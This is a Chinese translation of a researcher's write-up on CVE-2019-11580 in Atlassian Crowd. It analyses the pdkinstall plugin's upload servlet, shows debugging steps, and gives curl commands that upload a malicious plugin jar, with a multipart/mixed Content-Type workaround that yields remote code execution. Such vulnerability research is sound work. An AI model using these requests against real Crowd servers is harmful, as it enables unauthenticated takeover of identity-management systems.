简介

最近,我在挖洞的过程中,遇到了一个Atlassian Crowd应用程序。Crowd是一个集中式身份管理应用程序,允许企业“从多个目录(Active Directory、LDAP、OpenLDAP或Microsoft Azure AD)管理用户,并在一个位置控制应用身份验证权限。
我发现目标系统中安装了旧版本的Crowd,于是我Google了一下,看看里面是否存在漏洞,Google给了我这样一条答案:“pdkinstall开发插件错误启用(CVE-2019-11580)”
Atlassian的描述:
Crowd和Crowd数据中心在发布版本中错误地启用了pdkinstall开发插件。可以向Crowd或Crowd数据中心实例发送未经身份验证或经过身份验证的请求的攻击者可以利用此漏洞安装任意插件,因此,攻击者可以在运行易受攻击版本的Crowd或Crowd数据中心的系统上执行远程代码。
苦心搜索一番,并没有发现任何PoC,因此我决定亲力亲为。

分析

我克隆了插件的源代码,源代码可以在这里找到。

root@doggos:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.
Resolving deltas: 100% (88/88), done.

我们可以在 ./main/resources/atlassian-plugin.xml找到plugin descriptor文件。每个插件都需要一个plugin descriptor文件,它只包含“为主机应用程序描述插件和其中包含的模块”的XML-Atlassian。
让我们仔细分析一下

<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
    <version>${project.version}</version>
    <vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>

<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
    <url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>

<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter"
    location="before-decoration">
    <url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>

<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>

我们可以看到Java servlet类com.atlassian.pdkinstall.PdkInstallFilter是通过访问/admin/uploadplugin.action调用的。由于我们知道该漏洞是通过任意插件安装的RCE,显然我们的分析必须从查看PdkInstallFilter servlet的源代码开始。
将pdkinstall-plugin导入IntelliJ,然后开始分析源码。从doFilter()方法入手。
如果请求方法不是POST,代码就会退出并响应错误

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;

if (!req.getMethod().equalsIgnoreCase("post"))
{
    res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
    return;
}

接下来,代码确定请求是否包含多部分内容。多部分内容释义:包含一个或多个组合的不同数据集的单个主体。
如果它包含多部分内容,它将调用extractJar()方法来提取请求中发送的JAR,否则它将调用buildJarFromFiles()方法并尝试从请求中的数据构建plugin jar 文件。

// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
    tmp = extractJar(req, res, tmp);
}
else
{
    tmp = buildJarFromFiles(req);
}

现在,让我们继续分析extractJar()方法。

private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
    // Create a new file upload handler
    ServletFileUpload upload = new ServletFileUpload(factory);

    // Parse the request
    try {
        List<FileItem> items = upload.parseRequest(req);
        for (FileItem item : items)
        {
            if (item.getFieldName().startsWith("file_") && !item.isFormField())
            {
                tmp = File.createTempFile("plugindev-", item.getName());
                tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
                item.write(tmp);
            }
        }
    } catch (FileUploadException e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
    } catch (Exception e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
    }
    return tmp;
}

首先,它实例化ServletFileUpload的一个新对象,然后调用parseRequest()方法来解析HTTP请求。此方法处理来自HTTP请求的multipart/form-data流,并将FileItems列表设置为一个名为items的变量。
对于每个item(在FileItems列表中),如果字段名称以file_开头并且不是表单字段(HTML字段),它将创建并写入正在上传到磁盘上的临时文件。如果失败,变量tmp将为NULL;如果成功,变量tmp将包含写入的文件的路径。然后返回到主要的doFilter()方法。

if (tmp != null)
{
    List<String> errors = new ArrayList<String>();
    try
    {
        errors.addAll(pluginInstaller.install(tmp));
    }
    catch (Exception ex)
    {
        log.error(ex);
        errors.add(ex.getMessage());
    }

    tmp.delete();

    if (errors.isEmpty())
    {
        res.setStatus(HttpServletResponse.SC_OK);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
    }
    else
    {
        res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Unable to install plugin:");
        for (String err : errors)
        {
            servletResponse.getWriter().println("\t - " + err);
        }
    }
    servletResponse.getWriter().close();
    return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");

如果extractJar()成功调用,tmp变量将被设置且不会是NULL。应用程序将尝试使用pluginInstaller.install()方法安装插件,并将捕获过程中的任何错误。如果没有错误,服务器将返回200 OK并显示一条插件成功的消息。否则,服务器将响应“400 Bad Request”和消息“Unable to install plugin”,以及导致安装失败的错误。
然而,如果初始extractJar()方法失败,tmp变量将被设置为NULL,服务器将响应“400 Bad Request”以及消息“Missing plugin file”。
现在我们知道了servlet端点以及各种响应消息,接下来就是见证奇迹的时刻!

第一次尝试

让我们使用Atlassian SDK启动一个实例。

现在让我们确保可以通过访问http://localhost:4990/crowd/admin/uploadplugin.action来调用pdkinstall插件。
服务器应该响应400 Bad Request:


让我们利用已知的信息上传一个标准插件,我打算使用atlassian-bundled-plugins中的applinks-plugin来当作上传插件。您可以从此处获取已编译的jar文件。
servlet需要一个包含多部分数据的POST请求,其中包含以名称file_开头的文件。我们可以使用curl的--form标志轻松做到这一点.

root@doggos:~# curl --form "file_cdl=@applinks-plugin-5.2.6.jar" http://localhost:4990/crowd/admin/uploadplugin.action -v


从结果中可以看到,插件被成功安装;所以我们现在应该能够创建和安装我们自己的插件。
然后我创建了一个恶意插件。
所以让我们编译并尝试上传它。

root@doggos:~# ./compile.sh
root@doggos:~# curl --form "file_cdl=@rce.jar" http://localhost:8095/crowd/admin/uploadplugin.action -v


我就知道事情没有这么简单,服务器响应了400 Bad Request,并且响应包含错误消息"Missing plugin file"。我们从早些时候就知道,如果tmp为null,服务器会使用这个消息和状态代码进行响应,但是导致这种情况发生的原因是什么?让我们来调试一下

debugging

我在IntelliJ中导入了pdkinstall-plugin,将调试器添加到Crowd实例,并打开了正在处理上传任务的PdkInstallFilter.java servlet。
我的第一个猜测是ServletFileUpload.isMultipartContent(req)方法没起作用,所以我设置了一个断点。然后我再次上传我的恶意插件,但是,我们可以看到req方法正常工作,服务器将其视为多部分内容:


因此,肯定是extractJar()没起到我们想要的作用。我们只有调试这个方法并逐行设置断点,我们才可以找出失效的地方。设置断点后,我再次尝试:

我们可以看到upload.parseRequest(req)方法返回一个空数组。因为items变量是空的,所以它跳过for循环并返回设置为null的tmp。
我花了很长时间试图弄清楚为什么会发生这种情况,我不知道确切的根本原因,但我一门心思扑到RCE上。
如果我将Content-Type从multipart/form-data更改为不同的multipart编码,会发生什么情况?让我们试试看。

第二次尝试

这一次,我决定尝试用multipart/Mixed的Content-Type上传我的恶意插件。希望可以奏效。

curl -k -H "Content-Type: multipart/mixed" \
  --form "file_cdl=@rce.jar" http://localhost:4990/crowd/admin/uploadplugin.action

然后响应 插件被安装!

让我们看看是否真的可以调用恶意插件:


RCE get!

心得感想

这次研究导致了一些已经领取赏金的同行遭到了批评,但这次研究仍然是有意义的.
这里我有两点感想:
不要害怕新事物以及永葆一颗不服输的初心。
虽然我不擅长Java,没有调试经验,但这并没有妨碍我。正视新事物,不断尝试,付出时间和汗水,这是学习进步的主要过程。
希望这篇文章能够让你得到一点启示。
本文作者Corben Leo
https://twitter.com/hacker_
https://hackerone.com/cdl
https://bugcrowd.com/c
https://github.com/lc

原文链接:https://www.corben.io/atlassian-crowd-rce/

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖